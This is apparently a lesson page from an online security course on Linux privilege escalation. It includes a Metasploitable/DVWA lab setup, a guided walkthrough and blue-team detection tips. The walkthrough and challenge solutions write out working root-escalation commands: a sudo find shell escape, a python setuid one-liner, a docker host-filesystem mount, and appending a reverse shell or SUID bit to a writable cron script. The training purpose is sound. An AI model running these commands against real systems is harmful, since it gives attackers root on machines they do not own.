Home › Offensive Security › Privilege Escalation
Privilege Escalation
Local escalation on Linux and Windows through misconfiguration, tokens and kernel bugs.
▶ Here to build, not read? Jump to the Hands-On Practice.
Prerequisites: Linux Security · Windows Security
Overview
Local escalation on Linux and Windows through misconfiguration, tokens and kernel bugs. In one line: privilege escalation decides where trust is placed, and misplaced trust is where the security problem lives. That's the theory you need — the understanding comes from doing it, so the walkthrough below is the heart of this chapter.
How it works
Mechanically, privilege escalation comes down to three things: what data is trusted, where it crosses a boundary, and what happens on the other side. The diagram traces that path; you'll walk it for real, step by step, in the practice below.
flowchart TD
A["Privilege Escalation"] --> B["Concepts & terminology"]
A --> C["Internal mechanics"]
C --> D["Trust boundaries"]
D --> E["Attack surface"]
D --> F["Defensive controls"]
E --> G["Detection & telemetry"]
F --> G
G --> H["Verification in the lab"]
- Trust boundary — where data or control passes between components of different privilege or trust.
- Attack surface — the set of points an attacker can interact with.
- Primary control — the single measure that most reduces this technique's impact.
- Telemetry — the log or signal a defender uses to detect the technique.
Hands-On Practice
Mission. From a www-data foothold to root via systematic enumeration and a misconfiguration.
🧪 Lab setup — Offensive Security
metasploitable— boot-to-root Linux target (recon → exploit → loot)dvwa / juice-shop— web foothold targetsAD forest (optional)— GOAD or a Windows Server eval VM for AD chapters — see notes
# offsec-lab/docker-compose.yml — Offensive part environment
services:
target-linux:
image: tleemcjr/metasploitable2
networks: [labnet]
command: /bin/sh -c "/etc/rc.local; tail -f /dev/null"
target-web:
image: vulnerables/web-dvwa
ports: ["8082:80"]
networks: [labnet]
networks:
labnet:
driver: bridge
internal: trueTarget for this lesson: target-linux (Metasploitable) or any lab host where you have a low-priv shell. Full setup: Offensive Security lab environment.
Guided walkthrough
./linpeas.sh | tee linpeas.txtExpected output
Highlighted: sudo rights, SUID binaries, writable cron, kernel version.sudo -lExpected output
(root) NOPASSWD: /usr/bin/findsudo find . -exec /bin/sh -p \; -quitExpected output
# whoami → rootfind / -perm -4000 -type f 2>/dev/nullExpected output
/usr/bin/... an unexpected SUID binary# remove NOPASSWD, strip needless SUID bits, patch the kernelExpected output
sudo -l no longer lists a shell-capable binary; the path is closed.Live terminal
labserver/README.md), then click Connect lab runner and paste the token. Until then, copy commands from the walkthrough and run them in your own Kali terminal.
Try it yourself
Challenge 1. Escalate via a writable cron job instead of sudo.
Hint
Find a root cron running a script you can edit.
Solution
Append a reverse shell / chmod +s /bin/bash to the writable script and wait for the cron tick.
Challenge 2. Escalate using a Linux capability rather than SUID.
Hint
getcap -r / 2>/dev/null.
Solution
A binary with cap_setuid+ep (e.g. python) → python -c 'import os;os.setuid(0);os.system("/bin/bash")'.
Challenge 3. You're in the docker group but not root — get root.
Hint
The docker group is root-equivalent.
Solution
docker run -v /:/mnt --rm -it alpine chroot /mnt sh mounts the host filesystem as root.
Quick quiz
Detect & defend (blue-team view)
- auditd/Sysmon: a web-service user spawning a root shell, or execution of SUID binaries by service accounts.
- Alert on writes to cron directories and on new SUID files (baseline them).
Skills check
You can move on when you can, without notes:
Check Yourself
Quick self-test — answers hidden. If you can't answer without notes, redo the relevant walkthrough step.
Q1. In one sentence, what security problem does Privilege Escalation address or create?
Show answer
Privilege Escalation matters because its behaviour determines where trust is placed; misplacing that trust is the root of the associated bug class.
Q2. Name one trust boundary involved in Privilege Escalation and what crosses it.
Show answer
Any point where attacker-influenced data meets privileged processing — e.g. user input reaching an interpreter, or a token reaching a verifier.
Q3. Give one attack against Privilege Escalation and the single control that most reduces its impact.
Show answer
State the attack precisely, then the primary control (validation, encoding, isolation, authentication, or least privilege) — not a laundry list.
Interview angles
- Walk me through how Privilege Escalation works, then tell me where you would attack it.
- How would you detect Privilege Escalation being abused in an environment you defend?
- What is the difference between mitigating and eliminating the risk associated with Privilege Escalation?
Pitfalls & Best Practice
Common mistakes
- Treating privilege escalation as a checkbox instead of understanding the mechanism — defences copied without comprehension fail silently.
- Trusting client-side or default controls to enforce a server-side security property.
- Testing only the happy path and never the abuse cases or malformed input.
- Fixing the symptom (one payload) instead of the class (the missing control).
Do this instead
- Push security decisions to a single, well-tested enforcement point rather than scattering checks.
- Fail closed: when in doubt, deny and log, so misconfiguration reduces access rather than expanding it.
- Instrument the trust boundaries so the same event is visible to offence (as a target) and defence (as a signal).
- Validate your understanding of privilege escalation empirically in the lab before trusting it in production.
- Prefer safe, high-level APIs and secure defaults over hand-rolled primitives.
Reference
MITRE ATT&CK Mapping
| Technique | ID |
|---|---|
| ATT&CK technique | T1068 |
| ATT&CK technique | T1548 |
| ATT&CK technique | T1055 |
| ATT&CK technique | T1078 |
OWASP Mapping
- See OWASP Top 10 for the relevant category when this applies to web systems.
CWE Mapping
- No direct weakness ID; when this concept fails in code it usually surfaces as one of the CWE Top 25 entries.
CAPEC Mapping
- No single attack pattern; see the CAPEC chapter to map behaviour to patterns.
CVE References
- No canonical CVE for a concept page. Search the NVD for concrete instances when studying real cases.
NIST References
- NIST CSRC Publications — search for the control family or guide relevant to this topic.
RFC References
- No governing RFC for this topic. Where a protocol is involved, its RFC is linked from the relevant networking chapter.
Research Papers
- Reflections on Trusting Trust — Ken Thompson, 1984
- Smashing the Stack for Fun and Profit — Aleph One, Phrack 49, 1996
- The Protection of Information in Computer Systems — Saltzer & Schroeder, 1975
Books
- The Hacker Playbook 3 — Peter Kim
- Penetration Testing — Georgia Weidman
- Red Team Field Manual (RTFM) — Ben Clark
- Advanced Penetration Testing — Wil Allsopp
Official Documentation
Related Chapters
Part of the Offensive Security section of Cybersecurity-Mastery. 🟠 Advanced · ~84 min hands-on · Last updated 2026-08-12.